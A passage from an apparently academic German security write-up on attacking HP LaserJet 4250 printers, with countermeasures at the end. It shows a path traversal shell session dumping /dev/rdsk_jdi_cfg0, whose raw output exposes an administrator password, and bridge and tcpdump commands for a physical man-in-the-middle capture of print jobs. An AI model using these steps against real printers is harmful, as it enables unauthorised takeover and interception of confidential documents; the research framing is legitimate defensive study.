  cd       destroy  exit      hold   mkdir      replace   timeout  
  chvol    devices  find      id     open       reset     touch    
  close    df       format    known  overlay    resource  traversal
  config   dicts    free      load   pagecount  restart   unlock   
  cross    disable  fuzz      lock   print      search    uptime   
  
  192.168.188.22:/> ls ../../..
  -      834   Jul  9  2000 (created Jul  9  2000)  .profile
  d        -   Jan  1  1970 (created Jan  1  1970)  bin
  d        -   Jan  1  1970 (created Jan  1  1970)  dev
  d        -   Jan  1  1970 (created Jan  1  1970)  etc
  d        -   Jan  1  1970 (created Jan  1  1970)  hp
  d        -   Jan  1  1970 (created Jan  1  1970)  hpmnt
  -     1276   Dec 16  2003 (created Oct 11 12:57)  init
  d        -   Jan  1  1970 (created Jan  1  1970)  lib
  d        -   Jan  1  1970 (created Jan  1  1970)  tmp
  192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
  Size mismatch (should: 0, is: 86016).


  $> cat rdsk_jdi_cfg0
  SFS1.0^@^@@^F^B^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@SFFSFILE^M^@^C^@<D6>[^@^@^@^@^@^@dm^@^P<D6>[^B^@3<89>^A^D^@^@^@^@^@^A^@1<89>^A^D^@^C^@^@^@%^@^K<98>^A^Q^@hp LaserJet 4250^@@^@^K<88>^A^D^@^@^@^@^@a^@^K<88>^A^D^@^@^@^@^@^M^@  <88>^A^D^@^^^@^@<AA>^L^@^L<91>
  ^A^O^@^C^@^A^@^AӞGX^@^Ry~<EB><AE>^M^@^L<90>^A^F^@^@^Ry~<EB><AE>^\^@       <88>^A^D^@^O^@^@^@^A^@0<88>^A^D^@<^@^@^@^D^@0<98>^A^_^@http://www.hp.com/go/jetdirect^@^E^@0<98>^A^]^@http://www.hp.com/go/support^@^B^@0<98>^A^A^@^@^C^@0<98>^A^A^@^@^F^@0<88>^A^D^@^A^@^@^@^K^@0<88>^A^D^@^@^@^@^@^L^@0<88>^A^D^@^A^@^@^@^O^@0<88>^A^D^@^B^@^@^@^P^@0<88>^A^D^@^@^@^@^@^Q^@0<88>^A^D^@P^@^@^@^R^@0<98>^A^A^@^@^S^@0<98>^A^A
  ^@^@^T^@0<98>^A^A^@^@^U^@0<98>^A^A^@^@^M^@0<88>^A^D^@^B^@^@^@^H^@C<88>^A^D^@^@^@^@^@^@^@^L<90>^A^F^@<FF><FF><FF><FF><FF><FF>^A
  ^L<88>^A^D^@^A^@^@^@^B
  ^L<88>^A^D^@^@^@^@^@^C
  ^L<88>^A^D^@^@^@^@^@^E
  ^L<88>^A^D^@^A^@^@^@!^@^B<98>^A^B^@*^@"^@^B<88>^A^D^@^A^@^@^@#^@^B<88>^A^D^@^D^@^@^@$^@^B<88>^A^D^@^@<FF>^@^@%^@^B<98>^A^Q^@hp LaserJet 4250^@&^@^B<88>^A^D^@^@^@^@^@^^ ^A<88>^A^D^@^@^@^@^@^R^P^A<88>^A^D^@^@^@^@^@^F^P^A<88>^A^D^@^F^@^@^@    ^P^A<88>^A^D^@^@^@^@^@^M^P^A<88>^A^D^@^@^@^@^@^N^P^A<88>^A^D^@^@^@^@^@^T^P^A<88>^A^D^@<80>#^Q^@^Y^P^A<88>^A^D^@<C0><91>^H^@^Z^P^A<88>^A^D^@^P<FF>^N^@! ^A<88>^A^D^@^E^@
  ^@^@" ^A<88>^A^D^@^E^@^@^@'^P^A<88>^A^D^@^C^@^@^@+^P^A<88>^A^D^@^N^A^@^@,^P^A<88>^A^D^@^B^@^@^@.^P^A<88>^A^D^@^@^@^@^@/^P^A<88>^A^D^@^@^@^@^@1^P^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@2^P^A<88>^B^D^@^A^@^@^@^D^@
  ^A^@^@^@4^P^A<88>^A^D^@^@^@^@^@3^P^A<88>^A^D^@<84>^C^@^@6^P^A<88>^A^D^@^@^@^@^@?^P^A<90>^A^D^@^@^@^@^@^D ^A<88>^A^D^@
  ^@^@^@^E ^A<88>^A^D^@^G^@^@^@^X ^A<88>^A^D^@^B^@^@^@^D@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^E@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^H@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^K@^A<88>^B^D^@^@^@^@^@^D^@^D^@^@^@
  @^A<88>^B^D^@<80>^@^@P^D^@@^@^@^@       @^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^L@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^M@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@  ^A<88>^A^D^@^@^@^@^@7^P^A<88>^A^D^@^A^@^@^@^E<80>^A<88>^A^D^@^@^@^@^@&^P^A<88>^A^D^@^E^@^@^@-^P^A<88>^A^D^@^D^@^@^@^T^@^A<A0>^A^D^@<C0><A8><BC>^A^A^P^A<A0>^A^D^@<C0><A8><BC>^V^B^P^A<A0>^A^D^@<FF><FF><FF>^@^C^P^A<A0>^A^D^@<C0><A8><BC>^A^D^P^A<A0>^A^D^@<C0><A8><BC>^A^E^P^A<A0>^A^D^@^@^@^@^@^P^P^A<A0>^A^D^@^@^@^@^@^V^P^A<A0>^A^D^@^@^@^@^@^W^P^A<A0>^A^D^@^@^@^@^@^X^P^A<A0>^A^D^@<C0><A8><BC>^A9^P^A<A0>^A^D^@^@^@^@^@^Z ^A<A0>^A^D^@^@^@^@^@^G^P^A<98>^A      ^@LPR-WOLF^@^H^P^A<98>^A
  ^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A      ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
  <80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@

Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers. Außerdem erlaubt PostScript die Manipulation vorhandener Dateien. Durch das Pathtraversal lassen sich so auch systemkritische Files wie binaries oder die Firmware manipulieren und eine root-Shell sollte so ohne größere Probleme geöffnet werden können. Dies haben wir allerdings nicht versucht, da wir den Drucker nicht beschädigen wollten.


Physischer Man-In-The-Middle

Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie SharkTap, aber auch ein Raspberry Pi mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.

  
  ifconfig eth0 0.0.0.0
  ifconfig eth1 0.0.0.0
  brctl addbr bridge0
  brctl addif bridge0 eth0
  brctl addif bridge0 eth1
  ifconfig bridge0 up

Anschließend kann mithilfe des Programms

tcpdump

der Netzwerkverkehr mitgeschnitten werden.

 $> tcpdump -i <bridge_interface> -A -s0 -vv -w /path/to/dump.file

Um daraus den Druckauftrag zu rekonstruieren, ist ein Zusammensetzen der aufgezeichneten Pakete notwendig.

Der geschilderte Angriff bietet sich natürllich nur an, wenn physischer Zugang zu dem Zieldrucker besteht und zu erwarten ist, dass die entsprechenden Geräte auf absehbare Zeit nicht entdeckt werden. Hier sind integrierte Lösungen im Vorteil, die idealerweise PoE-fähig sind und den mitgeschnittenen Netzwerkverkehr drahtlos weiterleiten können.

Gegenmaßnahmen

  • Path traversal:
    • Die Lücke wurde in neueren Firmwareversionen geschlossen, daher reicht ein einfaches Patchen des Systems aus
    • Sollte PostScript nicht unbedingt notwendig sein, könnte die Unterstützung deaktiviert werden
  • Physischer Man-in-the-Middle:
    • SSL-Verschlüsselung der Printjobs
    • Absuchen des Druckers vor Drucken von sensiblen Dokumenten

Literatur- und Quellenverzeichnis

<references/>

Weiterführende Literatur